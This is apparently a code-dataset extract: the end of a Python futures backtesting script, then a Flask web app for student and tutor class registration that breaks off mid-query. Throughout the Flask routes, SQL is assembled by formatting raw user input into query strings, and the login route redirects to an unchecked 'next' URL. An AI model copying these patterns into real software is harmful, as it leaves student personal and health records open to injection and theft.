backTest\r\n\r\n        Note: you can get pyfolio package simply by typing 'pip install pyfolio'\r\n        and enter in your command line tool console. No need to install theano since\r\n        we don't do bayesian analysis here.\r\n        '''\r\n\r\n        # Get return series from pnl series, and resample return series on a daily basis\r\n        pnl_daily = detailDF_pnl.resample('D').last()\r\n        day_one_return = pnl_daily[0]/self.init_cash - 1.\r\n        pnl_ret_daily = pnl_daily.pct_change()\r\n        pnl_ret_daily[0] = day_one_return\r\n        pnl_ret_daily = pnl_ret_daily.dropna()\r\n\r\n        # Convert datetime to timezone-aware format and change the timezone to Beijing\r\n        pnl_ret_daily = pnl_ret_daily.tz_localize('UTC').tz_convert('Asia/Shanghai')\r\n\r\n        # PnL plot, drawdown analysis and risk analysis\r\n        import pyfolio as pf\r\n        # This benchmark(SHY) is the ETF that tracks 1-3 year US treasury bonds, you can also use\r\n        # symbols like SPY for S&P500 or ASHR for CSI300 index\r\n        #benchmark = copy.deepcopy(pnl_ret_daily)\r\n        benchmark = empyrical.cum_returns(pnl_ret_daily, starting_value=0)\r\n        #benchmark = pf.utils.get_symbol_rets('SHY')\r\n        #benchmark = empyrical.utils.get_symbol_returns_from_yahoo('SHY')\r\n        #benchmark = empyrical.utils.default_returns_func('SHY')\r\n        # Generate different reports according to length of backtest\r\n        timeIndex = pnl_ret_daily.index\r\n        if((timeIndex[-1]-timeIndex[0]).days>30):\r\n            pf.create_returns_tear_sheet(pnl_ret_daily, benchmark_rets=benchmark)\r\n        else:\r\n            pf.create_simple_tear_sheet(pnl_ret_daily, benchmark_rets=benchmark)\r\n\r\n        return pnl_ret_daily\r\n\r\n    def backTest(self):\r\n        ''' Function that used to do back-test based on the strategy you give\r\n\r\n        Params: None\r\n\r\n        Notes: this back-test function will move on minute bar and generate your\r\n        strategy detail dataframe by using the position matrix your strategy gives\r\n        each minute\r\n\r\n        Data:\r\n        1. Load futures information matrix and trading data during backtesting period\r\n        2. You can load different .h5 file by changing the path down below to paths like\r\n        self.train_data_path or self.test_data_path so that you can test and train your\r\n        own strategy on different periods\r\n        3. Try to make your strategy profitable and achieve stable return\r\n        '''\r\n\r\n        info = pd.read_csv(self.info_path, encoding='utf-8')\r\n        btData = h5py.File(self.data_format2_path, mode='r')\r\n        keys = list(btData.keys())\r\n\r\n        # PnL initialization\r\n        timer = 0\r\n        pnl = self.init_cash\r\n        details = list()\r\n        detail = [np.repeat(0.,13), self.init_cash, 0., 0., self.init_cash, 0.]\r\n        lastPosition = np.repeat(0, 13)\r\n\r\n        for i in range(len(keys)-1):\r\n            # Data of current minute and next minute\r\n            data_cur_min = btData[keys[i]][:]\r\n            exe_cur_min = np.mean(data_cur_min[:,:4], axis=1)\r\n            exe_next_min = np.mean(btData[keys[i+1]][:,:4], axis=1)\r\n\r\n            # Update position and parameter\r\n            [curPosition, self.memory] = handle_bar(timer, data_cur_min, info, self.init_cash, self.commissionRatio, detail, self.memory)\r\n\r\n            # Calculate margin required and commission charged\r\n            marginRequired = np.matmul(np.abs(curPosition), (exe_next_min * info.unit_per_lot * info.margin_rate))\r\n            transactionVolume = np.matmul(np.abs(curPosition-lastPosition), (exe_next_min * info.unit_per_lot))\r\n            commission = transactionVolume * self.commissionRatio\r\n\r\n            # Check and update pnl\r\n            dataChange = exe_next_min - exe_cur_min\r\n            revenue_min = np.matmul(lastPosition, dataChange * info.unit_per_lot)\r\n            pnl = pnl + revenue_min - commission\r\n\r\n            # Check if strategy losses too much\r\n            assert pnl-marginRequired > self.margin_threshold, \"Risk level too high\"\r\n\r\n            # Check if margin requirement is satisfied\r\n            assert marginRequired <= pnl, \"You don't have enough margin\"\r\n\r\n            # Keep record\r\n            #print (pnl-marginRequired)\r\n\r\n            detail = [curPosition, pnl-marginRequired, marginRequired, revenue_min, pnl, commission]\r\n            details.append(copy.deepcopy(detail))\r\n\r\n            # Update position and timer\r\n            lastPosition = copy.deepcopy(curPosition)\r\n            timer+=1\r\n            if '09:30:00' in keys[i]:\r\n                print(keys[i][:10])\r\n\r\n        detailCol = [\"postion\",\"cash_balance\", \"margin_balance\", \"revenue\", \"total_balance\", \"transaction_cost\"]\r\n        detailsDF = pd.DataFrame(details,index=pd.to_datetime(keys[:-1]),columns=detailCol)\r\n\r\n        btData.close()\r\n        return detailsDF\r\n\r\nif __name__ == '__main__':\r\n    ''' You can check the details of your strategy and do your own analyze by viewing\r\n    the strategyDetail dataframe and dailyRet series down below\r\n    '''\r\n\r\n    bt = backTest()\r\n    strategyDetail = bt.backTest()\r\n    print(strategyDetail.total_balance[-1])\r\n    dailyRet = bt.pnl_analyze(strategyDetail.total_balance)\r\n","sub_path":"Future Strategy 5011/backTest.py","file_name":"backTest.py","file_ext":"py","file_size_in_byte":7284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"232183954","text":"from flask import render_template, url_for, flash, redirect, request\nfrom uyp import app, config, bcrypt\nfrom uyp.forms import LoginForm, RegisterForm, ProfileForm, AddClassForm, StudentInfo, CreateSessionForm, \\\n    StaffForm, SiblingForm\nfrom uyp.models import User, Student, Class, Staff, Disability, HealthCondition, Guardian, School\nfrom mysql import connector\nfrom flask_login import login_user, current_user, logout_user, login_required\nimport random\nfrom datetime import date\nfrom wtforms.validators import ValidationError\n\n\n@app.route('/')\n@app.route('/home')\n@login_required\ndef home():\n    sessions = None\n\n    conn = connector.connect(**config)\n    cursor = conn.cursor()\n\n    cursor.execute(\"SELECT * FROM users WHERE email = '{0}'\".format(current_user.email))\n\n    result = cursor.fetchone()\n\n    user = User(result[0], result[1], result[2], result[3], result[4])\n\n    if current_user.role == 'Student':\n\n        cursor.execute(\"SELECT s.*, i.fname, i.lname \"\n                       \"FROM sessions s, users i \"\n                       \"WHERE s.studentEmail = '{0}' \"\n                       \"AND s.tutorEmail = i.email \".format(current_user.email))\n\n        sessions = cursor.fetchall()\n\n        # Commit the data to the database\n        conn.commit()\n        cursor.close()\n        conn.close()\n\n    elif current_user.role == 'Tutor':\n\n        cursor.execute(\"SELECT s.*, i.fName, i.lName \"\n                       \"FROM  sessions s, users i \"\n                       \"WHERE s.studentEmail = i.email AND s.tutorEmail = '{0}'\".format(current_user.email))\n\n        sessions = cursor.fetchall()\n\n    conn.commit()\n    cursor.close()\n    conn.close()\n    return render_template('home.html', sessions=sessions)\n\n\n@app.route('/class_search')\n@login_required\ndef class_search():\n    if current_user.role == 'Student':\n\n        conn = connector.connect(**config)\n        cursor = conn.cursor()\n\n        cursor.execute(\"SELECT fName FROM students WHERE id = '{0}'\".format(current_user.id))\n\n        result = cursor.fetchone()\n\n        if not result[0]:\n            flash('You need to activate your account first!', 'danger')\n            return redirect(url_for('student_activate'))\n\n        conn.commit()\n        cursor.close()\n        conn.close()\n\n        conn = connector.connect(**config)\n        cursor = conn.cursor()\n\n        cursor.execute(\"SELECT c1.*, i.fName , i.lName \"\n                       \"FROM class c1, sessions s1, staff i \"\n                       \"WHERE c1.sessionID = s1.id \"\n                       \"AND c1.instructorID = i.id \"\n                       \"AND s1.startDate  > '{0}' \"\n                       \"AND c1.curSize < c1.maxCap \"\n                       \"AND c1.classID NOT IN \"\n                       \"(SELECT c.classID FROM class c, takes t, sessions s WHERE t.classID = c.classID \"\n                       \"AND c.sessionID = s.id \"\n                       \"AND s.startDate > '{0}' AND c.curSize < c.maxCap AND t.studentID = '{1}')\".format(date.today(), current_user.id))\n        classes = cursor.fetchall()\n\n        conn.commit()\n        cursor.close()\n        conn.close()\n\n    else:\n\n        conn = connector.connect(**config)\n        cursor = conn.cursor()\n\n        cursor.execute(\"SELECT c.*, i.fName, i.lName FROM class c, staff i WHERE c.instructorID = i.id\")\n\n        classes = cursor.fetchall()\n\n        conn.commit()\n        cursor.close()\n        conn.close()\n\n    return render_template('class_search.html', title='Class Search', classes=classes)\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n    if current_user.is_authenticated:\n        return redirect(url_for('home'))\n\n    form = RegisterForm()\n    if form.validate_on_submit():\n\n        hashed_password = bcrypt.generate_password_hash(form.confirm_password.data).decode('utf-8')\n        user = User(form.email.data, form.fname.data, form.lname.data, form.role.data, hashed_password)\n\n        conn = connector.connect(**config)\n        cursor = conn.cursor()\n\n        cursor.execute(\n            \"INSERT INTO users (email, fname, lname, role, pword) VALUES('{0}', '{1}', '{2}', '{3}', '{4}')\".format(\n                user.email, user.fname, user.lname, user.role, user.pword))\n\n        conn.commit()\n        cursor.close()\n        conn.close()\n\n        flash('{0} account created with Email: {1}'.format(user.role, user.email),\n              'success')\n\n        return redirect(url_for('home'))\n\n    return render_template('register.html', title='Register', form=form)\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    if current_user.is_authenticated:\n        return redirect(url_for('home'))\n\n    form = LoginForm()\n    if form.validate_on_submit():\n\n        conn = connector.connect(**config)\n        cursor = conn.cursor()\n\n        cursor.execute(\n            \"SELECT * FROM users WHERE email = '{0}'\".format(form.email.data))\n        result = cursor.fetchone()\n\n        if result:\n            user = User(result[0], result[1], result[2], result[3], result[4])\n\n        conn.commit()\n        cursor.close()\n        conn.close()\n\n        if result and user and bcrypt.check_password_hash(user.pword, form.password.data):\n            login_user(user, remember=form.remember.data)\n            next_page = request.args.get('next')\n            return redirect(next_page) if next_page else redirect(url_for('home'))\n        else:\n            flash('Login failed. Incorrect email or password.', 'danger')\n\n    return render_template('login.html', title='Login', form=form)\n\n\n@app.route('/logout')\ndef logout():\n    logout_user()\n    return redirect(url_for('home'))\n\n\n@app.route('/profile/<user_id>', methods=['GET', 'POST'])\n@login_required\ndef profile(user_id):\n    student = None\n    disability = None\n    healthCondition = None\n    guardian1 = None\n    guardian2 = None\n    staff = None\n    school = None\n    # Prevent students from accessing other students' profiles\n    if current_user.role == 'Student' and str(current_user.id) != str(user_id):\n        return redirect(url_for('profile', user_id=current_user.id))\n\n    if current_user.role == 'Student':\n        # Create the connection to the database\n        conn = connector.connect(**config)\n\n        # Create the cursor for the connection\n        cursor = conn.cursor()\n\n        cursor.execute(\"SELECT fName FROM students WHERE id = '{0}'\".format(current_user.id))\n\n        result = cursor.fetchone()\n\n        if not result[0]:\n            flash('You need to activate your account first!', 'danger')\n            return redirect(url_for('student_activate'))\n\n        # Commit the data to the database\n        conn.commit()\n\n        # Close the cursor\n        cursor.close()\n\n        # Close the connection to the database\n        conn.close()\n\n    # only executes if student activation form has been filled out\n\n    # get the category of the profile we're viewing\n    conn = connector.connect(**config)\n    cursor = conn.cursor()\n    cursor.execute(\"SELECT category FROM users WHERE id = '{0}'\".format(user_id))\n    rol = cursor.fetchone()\n    role = rol[0]\n\n    # Create student object\n    if role == 'Student':\n        cursor.execute(\"SELECT * FROM students WHERE id = '{0}'\".format(user_id))\n        stu = cursor.fetchone()\n\n        if stu:\n            student = Student(stu[0], stu[1], stu[2], stu[3], stu[4], stu[5], stu[6], stu[7], stu[8], stu[9], stu[10],\n                              stu[11], stu[12], stu[13], stu[14], stu[15], stu[16], stu[17], stu[18], stu[19], stu[20],\n                              stu[21], stu[22], stu[23], stu[24], stu[25], stu[26])\n\n        cursor.execute(\"SELECT * FROM disability WHERE studentID = '{0}'\".format(user_id))\n        # Only one disability for now...\n        dis = cursor.fetchone()\n\n        if dis:\n            disability = Disability(dis[0], dis[1])\n\n        cursor.execute(\"SELECT * FROM healthcondition WHERE studentID = '{0}'\".format(user_id))\n        # Only one disability for now...\n        hea = cursor.fetchone()\n\n        if hea:\n            healthCondition = HealthCondition(hea[0], hea[1], hea[2])\n\n        cursor.execute(\"SELECT * FROM guardian WHERE studentID = '{0}'\".format(user_id))\n        # Only one disability for now...\n        guardians = cursor.fetchall()\n\n        if guardians:\n            if guardians[0]:\n                guardian1 = Guardian(guardians[0][0], guardians[0][1], guardians[0][2], guardians[0][3], guardians[0][4],\n                                     guardians[0][5], guardians[0][6], guardians[0][7], guardians[0][8], guardians[0][9])\n\n            if len(guardians) > 1:\n                guardian2 = Guardian(guardians[1][0], guardians[1][1], guardians[1][2], guardians[1][3], guardians[1][4],\n                                     guardians[1][5], guardians[1][6], guardians[1][7], guardians[1][8], guardians[1][9])\n\n        cursor.execute(\"SELECT * FROM school WHERE studentID = '{0}'\".format(user_id))\n        sch = cursor.fetchone()\n\n        if sch:\n            school = School(sch[0], sch[1], sch[2], sch[3], sch[4])\n\n    elif role == 'Staff':\n        cursor.execute(\"SELECT * FROM staff WHERE id = '{0}'\".format(user_id))\n        sta = cursor.fetchone()\n\n        if sta:\n            staff = Staff(sta[0], sta[1], sta[2], sta[3], sta[4], sta[5], sta[6], sta[7], sta[8], sta[9], sta[10])\n\n    form = ProfileForm()\n    sform = StudentInfo()\n    staffForm = StaffForm()\n\n    if request.method == 'POST':\n        if form.validate_on_submit():\n            if not form.new_password.data == '':\n                hashed_password = bcrypt.generate_password_hash(form.new_password.data).decode('utf-8')\n\n                conn = connector.connect(**config)\n                cursor = conn.cursor()\n\n                cursor.execute(\"UPDATE users SET pword = '{0}' WHERE id = '{1}'\".format(hashed_password, user_id))\n\n                conn.commit()\n                cursor.close()\n                conn.close()\n\n                flash('Password changed successfully!', 'success')\n\n        if sform.validate_on_submit():\n\n            # Create the connection to the database\n            conn = connector.connect(**config)\n\n            # Create the cursor for the connection\n            cursor = conn.cursor()\n\n            esl_data = sform.ESL.data\n            if esl_data == 'on':\n                esl_data = 1\n            else:\n                esl_data = 0\n\n            gt_data = sform.GT.data\n            if gt_data == 'on':\n                gt_data = 1\n            else:\n                gt_data = 0\n\n            # needs to be update query\n            cursor.execute(\"UPDATE students SET fName = '{1}', mName = '{2}', lName = '{3}', suffix = '{4}', \"\n                           \"preferred = '{5}', birthday = '{6}', gender = '{7}', race = '{8}', gradeLevel = '{9}', \"\n                           \"expGradDate = '{10}', street = '{11}', city = '{12}', state='{13}', zip='{14}', \"\n                           \"email = '{15}', phone = '{16}', esl='{17}', gt = '{18}', otherInfo = '{19}', \"\n                           \"expSchool = '{20}' WHERE id = '{0}'\".format(user_id, sform.fName.data, sform.mName.data,\n                                                                        sform.lName.data, sform.suffix.data,\n                                                                        sform.preferred.data, sform.bDay.data,\n                                                                        sform.gender.data, sform.race.data,\n                                                                        sform.gradeLevel.data, sform.expGradDate.data,\n                                                                        sform.street.data, sform.city.data,\n                                                                        sform.state.data, sform.zip.data,\n                                                                        sform.email.data, sform.phone.data, esl_data,\n                                                                        gt_data, sform.otherInfo.data,\n                                                                        sform.expSchool.data))\n\n            # disability\n            cursor.execute(\"SELECT * FROM disability WHERE studentID = '{0}'\".format(user_id))\n\n            stuDis = cursor.fetchone()\n\n            if stuDis:\n                if stuDis[1] == '':\n                    cursor.execute(\"DELETE FROM disability WHERE studentID = '{0}'\".format(user_id))\n                else:\n                    cursor.execute(\"UPDATE disability SET disability = '{1}' WHERE studentID = '{0}'\".format(user_id,\n                                                                                                             sform.disabilityDesc.data))\n            else:\n                cursor.execute(\"INSERT INTO disability (studentID, disability) VALUES('{0}', '{1}')\".format(user_id,\n                                                                                                            sform.disabilityDesc.data))\n\n            # health condition\n            cursor.execute(\"SELECT * FROM healthcondition WHERE studentID = '{0}'\".format(user_id))\n\n            stuHea = cursor.fetchone()\n\n            if stuHea:\n                if stuHea[1] == '' and stuHea[2] == '':\n                    cursor.execute(\"DELETE FROM healthcondition WHERE studentID = '{0}'\".format(user_id))\n                else:\n                    cursor.execute(\"UPDATE healthcondition \"\n                                   \"SET cond = '{1}', descript = '{2}' WHERE studentID = '{0}'\".format(user_id,\n                                                                                                       sform.healthCondsCond.data,\n                                                                                                       sform.healthCondsDesc.data))\n            else:\n                cursor.execute(\n                    \"INSERT INTO healthcondition (studentID, cond, descript) VALUES('{0}', '{1}', '{2}')\".format(\n                        user_id, sform.healthCondsCond.data, sform.healthCondsDesc.data))\n\n            # school\n            cursor.execute(\n                \"UPDATE school SET name = '{1}', type = '{2}', district = '{3}' WHERE studentID = '{0}'\".format(\n                    user_id, sform.expSchool.data, sform.expSchoolType.data, sform.expSchoolDistrict.data))\n            cursor.execute(\n                \"UPDATE students SET expSchool = '{1}' WHERE id = '{0}'\".format(user_id, sform.expSchool.data))\n\n            # gt\n\n            # Commit the data to the database\n            conn.commit()\n\n            # Close the cursor\n            cursor.close()\n\n            # Close the connection to the database\n            conn.close()\n            flash('Info updated successfully!', 'success')\n\n        elif staffForm.validate_on_submit():\n            # Create the connection to the database\n            conn = connector.connect(**config)\n\n            # Create the cursor for the connection\n            cursor = conn.cursor()\n\n            # needs to  be update query\n            cursor.execute(\"UPDATE staff SET fName='{1}', mName='{2}', lName='{3}', suffix='{4}', street='{5}', \"\n                           \"city='{6}', state='{7}', zip='{8}', email='{9}', phone='{10}' WHERE id='{0}'\".format(\n                user_id, staffForm.fName.data, staffForm.mName.data, staffForm.lName.data, staffForm.suffix.data,\n                staffForm.street.data, staffForm.city.data, staffForm.state.data, staffForm.zip.data,\n                staffForm.email.data, staffForm.phone.data))\n\n            # Commit the data to the database\n            conn.commit()\n\n            # Close the cursor\n            cursor.close()\n\n            # Close the connection to the database\n            conn.close()\n            flash('Info updated successfully!', 'success')\n        return redirect(url_for('profile', user_id=user_id))\n\n    return render_template('profile.html', title='Profile', form=form, sform=sform, staffForm=staffForm,\n                           user_id=user_id, role=role, student=student, disability=disability,\n                           healthCondition=healthCondition, guardian1=guardian1, guardian2=guardian2, staff=staff,\n                           school=school)\n\n\n@app.route('/student_activate', methods=['GET', 'POST'])\n@login_required\ndef student_activate():\n    if current_user.role == 'Student':\n\n        conn = connector.connect(**config)\n        cursor = conn.cursor()\n\n        cursor.execute(\"SELECT fName FROM students WHERE students.id = '{0}'\".format(current_user.id))\n        result = cursor.fetchone()\n\n        if result[0]:\n            return redirect(url_for('home'))\n\n        conn.commit()\n        cursor.close()\n        conn.close()\n\n    form = StudentInfo()\n\n    if form.validate_on_submit():\n\n        conn = connector.connect(**config)\n        cursor = conn.cursor()\n\n        gradDate = 0\n        if form.expGradDate.data:\n            gradDate = form.expGradDate.data\n\n        cursor.execute(\n            \"UPDATE students SET fName = '{1}', mName = '{2}', lName = '{3}', suffix = '{4}', preferred = '{5}', birthday = '{6}', gender = '{7}', race = '{8}', gradeLevel = '{9}', expGradDate = '{10}', street = '{11}', city = '{12}', state = '{13}', zip = '{14}', email = '{15}', phone = '{16}', bill = '{17}', otherInfo = '{18}', expSchool = '{19}' WHERE id = '{0}'\".format(\n                current_user.id, form.fName.data, form.mName.data, form.lName.data, form.suffix.data,\n                form.preferred.data, form.bDay.data, form.gender.data, form.race.data, form.gradeLevel.data,\n                gradDate, form.street.data, form.city.data, form.state.data, form.zip.data,\n                form.email.data, form.phone.data, 20, form.otherInfo.data, form.expSchool.data))\n\n        # # Disability query\n        # if form.disability.data == 'on':\n        #     cursor.execute(\n        #         \"INSERT INTO disability (studentID, disability) VALUES ('{0}', '{1}')\".format(current_user.id,\n        #                                                                                       form.disabilityDesc.data))\n        #\n        # # Health condition query\n        # if form.healthConds.data == 'on':\n        #     cursor.execute(\n        #         \"INSERT INTO healthcondition (studentID, cond, descript) VALUES ('{0}', '{1}', '{2}')\".format(\n        #             current_user.id, form.healthCondsCond.data, form.healthCondsDesc.data))\n\n        # Guardian1 query\n        cursor.execute(\n            \"INSERT INTO guardian (studentID, fName, mName, lName, phone, email, street, city, state, zip) VALUES ('{0}', '{1}', '{2}', '{3}', '{4}', '{5}', '{6}', '{7}', '{8}', '{9}')\".format(\n                current_user.id, form.guardian1_fName.data, form.guardian1_mName.data, form.guardian1_lName.data,\n                form.guardian1_phone.data, form.guardian1_email.data, form.guardian1_street.data,\n                form.guardian1_city.data, form.guardian1_state.data, form.guardian1_zip.data))\n\n        # Guardian2 query\n        if form.guardian2_prompt.data == 'on':\n            cursor.execute(\n                \"INSERT INTO guardian (studentID, fName, mName, lName, phone, email, street, city, state, zip) VALUES ('{0}', '{1}', '{2}', '{3}', '{4}', '{5}', '{6}', '{7}', '{8}', '{9}')\".format(\n                    current_user.id, form.guardian2_fName.data, form.guardian2_mName.data, form.guardian2_lName.data,\n                    form.guardian2_phone.data, form.guardian2_email.data, form.guardian2_street.data,\n                    form.guardian2_city.data, form.guardian2_state.data, form.guardian2_zip.data))\n\n        # School query\n        id_chars = \"0123456789\"\n\n        schoolID = ''\n        for x in range(6):\n            schoolID += random.choice(id_chars)\n\n        cursor.execute(\n            \"INSERT INTO school (studentID, name, type, district, schoolID) VALUES ('{0}', '{1}', '{2}', '{3}', '{4}')\".format(\n                current_user.id, form.expSchool.data, form.expSchoolType.data, form.expSchoolDistrict.data,\n                schoolID))\n\n        # gt query\n        cursor.execute(\"INSERT INTO gt (studentID, schoolID) VALUES ('{0}', '{1}')\".format(current_user.id, schoolID))\n\n        conn.commit()\n        cursor.close()\n        conn.close()\n\n        flash('Successfully activated your account!', 'success')\n        return redirect(url_for('home'))\n\n    return render_template('student_activate.html', title='Activate Account', form=form)\n\n\n@app.route('/staff_activate', methods=['GET', 'POST'])\n@login_required\ndef staff_activate():\n    if current_user.role == 'Tutor':\n\n        conn = connector.connect(**config)\n        cursor = conn.cursor()\n\n        cursor.execute(\"SELECT id FROM staff WHERE staff.id = '{0}'\".format(current_user.id))\n        result = cursor.fetchone()\n\n        if result:\n            return redirect(url_for('home'))\n\n        conn.commit()\n        cursor.close()\n        conn.close()\n\n    form = StaffForm()\n\n    if form.validate_on_submit():\n        conn = connector.connect(**config)\n        cursor = conn.cursor()\n\n        cursor.execute(\n            \"INSERT INTO staff (id, fName, mName, lName, suffix, phone, email, street, city, state, zip) VALUES ('{0}', '{1}', '{2}', '{3}', '{4}', '{5}', '{6}', '{7}', '{8}', '{9}', '{10}')\".format(\n                current_user.id, form.fName.data, form.mName.data, form.lName.data, form.suffix.data, form.phone.data,\n                form.email.data, form.street.data, form.city.data, form.state.data, form.zip.data))\n\n        conn.commit()\n        cursor.close()\n        conn.close()\n\n        flash('Successfully activated your account!', 'success')\n        return redirect(url_for('home'))\n\n    return render_template('staff_activate.html', title='Activate Account', form=form)\n\n\n@app.route('/add_class', methods=['GET', 'POST'])\n@login_required\ndef add_class():\n    if current_user.role == 'Student':\n        flash('You do not have access to that page!', 'danger')\n        return redirect(url_for('home'))\n\n    conn = connector.connect(**config)\n    cursor = conn.cursor()\n    cursor.execute(\"SELECT * FROM sessions\")\n    resultSessions = cursor.fetchall()\n    cursor.execute(\"SELECT * FROM timeslot\")\n    resultTimeslots = cursor.fetchall()\n    cursor.execute(\"SELECT * FROM staff\")\n    resultStaff = cursor.fetchall()\n\n    conn.commit()\n    cursor.close()\n    conn.close()\n\n    form = AddClassForm()\n\n    if form.validate_on_submit():\n        id_chars = \"0123456789\"\n\n        id = ''\n        for x in range(6):\n            id += random.choice(id_chars)\n\n        conn = connector.connect(**config)\n        cursor = conn.cursor()\n        cursor.execute(\n            \"INSERT INTO class (title, lvl, maxCap, curSize, instructorID, room, timeSlotID, sessionID, classID, price) VALUES ('{0}', '{1}', {2}, {3}, '{4}', '{5}', '{6}', '{7}', '{8}', '{9}')\".format(\n                form.title.data, form.lvl.data, form.maxCap.data, 0, form.instructorID.data, form.room.data,\n                form.timeslotID.data, form.sessionID.data, id, form.price.data))\n\n        conn.commit()\n        cursor.close()\n        conn.close()\n\n        flash('Class Added!', 'success')\n        return redirect(url_for('class_search'))\n\n    return render_template('add_class.html', title='Add Class', form=form, sessions=resultSessions,\n                           timeslots=resultTimeslots, staff=resultStaff)\n\n\n@app.route('/create_session', methods=['GET', 'POST'])\n@login_required\ndef create_session():\n    if current_user.role == 'Student':\n        flash('You do not have access to that page!', 'danger')\n        return redirect(url_for('home'))\n\n    form = CreateSessionForm()\n    try:\n        if form.validate_on_submit() and form.validate_date():\n            id_chars = \"0123456789\"\n\n            id = ''\n            for x in range(6):\n                id += random.choice(id_chars)\n\n            try:\n                conn = connector.connect(**config)\n                cursor = conn.cursor()\n\n                cursor.execute(\"INSERT INTO sessions(id, year, endDate, startDate)\"\n                               \"VALUES ('{0}', '{1}', '{2}', '{3}')\".format(id, form.startDate.data.year,\n                                                                            form.endDate.data,\n                                                                            form.startDate.data))\n            except connector.errors.IntegrityError:\n                # Session Already Exists\n                flash('Session already exists with start/end dates. You might want to edit that session', 'danger')\n\n            conn.commit()\n            cursor.close()\n            conn.close()\n\n            flash('Session from {0}/{1}/{2} to {3}/{4}/{5} created!'.format(form.startDate.data.month,\n                                                                            form.startDate.data.day,\n                                                                            form.startDate.data.year,\n                                                                            form.endDate.data.month,\n                                                                            form.endDate.data.day,\n                                                                            form.endDate.data.year), 'success')\n            return redirect(url_for('sessions_search'))\n\n    except ValidationError:\n        flash('Start Date cannot be before End Date', 'danger')\n\n    return render_template('create_session.html', title='Create Session', form=form)\n\n\n@app.route('/sessions_search')\n@login_required\ndef sessions_search():\n    conn = connector.connect(**config)\n    cursor = conn.cursor()\n\n    cursor.execute(\"SELECT * FROM sessions WHERE endDate > '{0}'\".format(date.today()))\n    sessions = cursor.fetchall()\n\n    conn.commit()\n    cursor.close()\n    conn.close()\n\n    return render_template('sessions_search.html', title='Sessions', sessions=sessions)\n\n\n@app.route('/edit_session/<session_id>', methods=['GET', 'POST'])\n@login_required\ndef edit_session(session_id):\n    if current_user.role == 'Student':\n        flash('You do not have access to that page!', 'danger')\n        return redirect(url_for('home'))\n\n    conn = connector.connect(**config)\n    cursor = conn.cursor()\n\n    cursor.execute(\"SELECT * FROM sessions WHERE id = '{0}'\".format(session_id))\n    (id, year, endDate, startDate) = cursor.fetchone()\n\n    conn.commit()\n    cursor.close()\n    conn.close()\n\n    form = CreateSessionForm()\n    try:\n        if form.validate_on_submit() and form.validate_date():\n            conn = connector.connect(**config)\n            cursor = conn.cursor()\n\n            cursor.execute(\"UPDATE sessions SET startDate = '{0}', endDate= '{1}' WHERE id = '{2}'\".format(\n                form.startDate.data, form.endDate.data, session_id))\n\n            conn.commit()\n            cursor.close()\n            conn.close()\n\n            flash('Session successfully updated!', 'success')\n            return redirect('sessions_search')\n\n    except ValidationError:\n        flash('Start Date cannot be before End Date', 'danger')\n\n    return render_template('edit_session.html', title='Edit Session', form=form, session_id=session_id,\n                           startDate=startDate, endDate=endDate)\n\n\n@app.route('/delete_session/<session_id>', methods=['GET', 'POST'])\n@login_required\ndef delete_session(session_id):\n    if current_user.role == 'Student':\n        #  Don't even indicate to students that this route exists\n        #  flash('You do not have access to that page!', 'danger')\n        return redirect(url_for('home'))\n\n    conn = connector.connect(**config)\n    cursor = conn.cursor()\n\n    cursor.execute(\"DELETE FROM sessions WHERE id = '{0}'\".format(session_id))\n\n    conn.commit()\n    cursor.close()\n    conn.close()\n\n    flash('Successfully deleted session', 'success')\n\n    return redirect(url_for('sessions_search'))\n\n\n@app.route('/delete_class/<class_id>', methods=['GET', 'POST'])\n@login_required\ndef delete_class(class_id):\n    if current_user.role == 'Student':\n        #  Don't even indicate to students that this route exists\n        #  flash('You do not have access to that page!', 'danger')\n        return redirect(url_for('home'))\n\n    conn = connector.connect(**config)\n    cursor = conn.cursor()\n\n    cursor.execute(\"DELETE FROM class WHERE classID = '{0}'\".format(class_id))\n\n    conn.commit()\n    cursor.close()\n    conn.close()\n\n    flash('Successfully deleted class!', 'success')\n\n    return redirect(url_for('class_search'))\n\n\n@app.route('/register_class/<class_id>')\n@login_required\ndef register_class(class_id):\n    if current_user.role == 'Student':\n        # Create the connection to the database\n        conn = connector.connect(**config)\n\n        # Create the cursor for the connection\n        cursor = conn.cursor()\n\n        cursor.execute(\"INSERT INTO takes(studentID, classID) VALUES ('{0}', '{1}')\".format(current_user.id, class_id))\n\n        cursor.execute(\"SELECT curSize, price FROM class WHERE classID = '{0}'\".format(class_id))\n        class_info = cursor.fetchone()\n\n        cursor.execute(\"SELECT bill FROM students WHERE id = '{0}'\".format(current_user.id))\n        bill = cursor.fetchone()\n\n        # Increment the class' curSize\n        cursor.execute(\"UPDATE class SET curSize = {0} WHERE classID = '{1}'\".format(class_info[0] + 1, class_id))\n\n        # Increment the student's bill\n        cursor.execute(\n            \"UPDATE students SET bill = {0} WHERE id = '{1}'\".format(bill[0] + class_info[1], current_user.id))\n\n        cursor.execute(\"SELECT title FROM class WHERE classID = '{0}'\".format(class_id))\n        title = cursor.fetchone()\n\n        # Commit the data to the database\n        conn.commit()\n\n        # Close the cursor\n        cursor.close()\n\n        # Close the connection to the database\n        conn.close()\n\n        flash('Successfully registered for {0}!'.format(title[0]), 'success')\n        return redirect(url_for('home'))\n    else:\n        return redirect(url_for('class_search'))\n\n\n@app.route('/edit_class/<class_id>', methods=['GET', 'POST'])\n@login_required\ndef edit_class(class_id):\n    if current_user.role == 'Student':\n        flash('You do not have access to that page!', 'danger')\n        return redirect(url_for('home'))\n\n    conn = connector.connect(**config)\n    cursor = conn.cursor()\n    cursor.execute(\"SELECT * FROM sessions\")\n    resultSessions = cursor.fetchall()\n    cursor.execute(\"SELECT * FROM timeslot\")\n    resultTimeslots = cursor.fetchall()\n    cursor.execute(\"SELECT * FROM staff\")\n    resultStaff = cursor.fetchall()\n    cursor.execute(\"SELECT * FROM class WHERE classID = '{0}'\".format(class_id))\n    resultClass = cursor.fetchone()\n    resultClass = Class(resultClass[0], resultClass[1], resultClass[2], resultClass[3], resultClass[4], resultClass[5],\n                        resultClass[6], resultClass[7], resultClass[8], resultClass[9])\n\n    cursor.close()\n    conn.close()\n\n    form = AddClassForm()\n\n    # after submitting\n    if form.validate_on_submit():\n        # Create the connection to the database\n        conn = connector.connect(**config)\n\n        # Create the cursor for the connection\n        cursor = conn.cursor()\n\n        cursor.execute(\n            \"UPDATE class SET title='{0}', lvl='{1}', maxCap='{2}', instructorID='{3}', room='{4}', \"\n            \"timeSlotID='{5}', sessionID='{6}', price='{7}' WHERE classID = 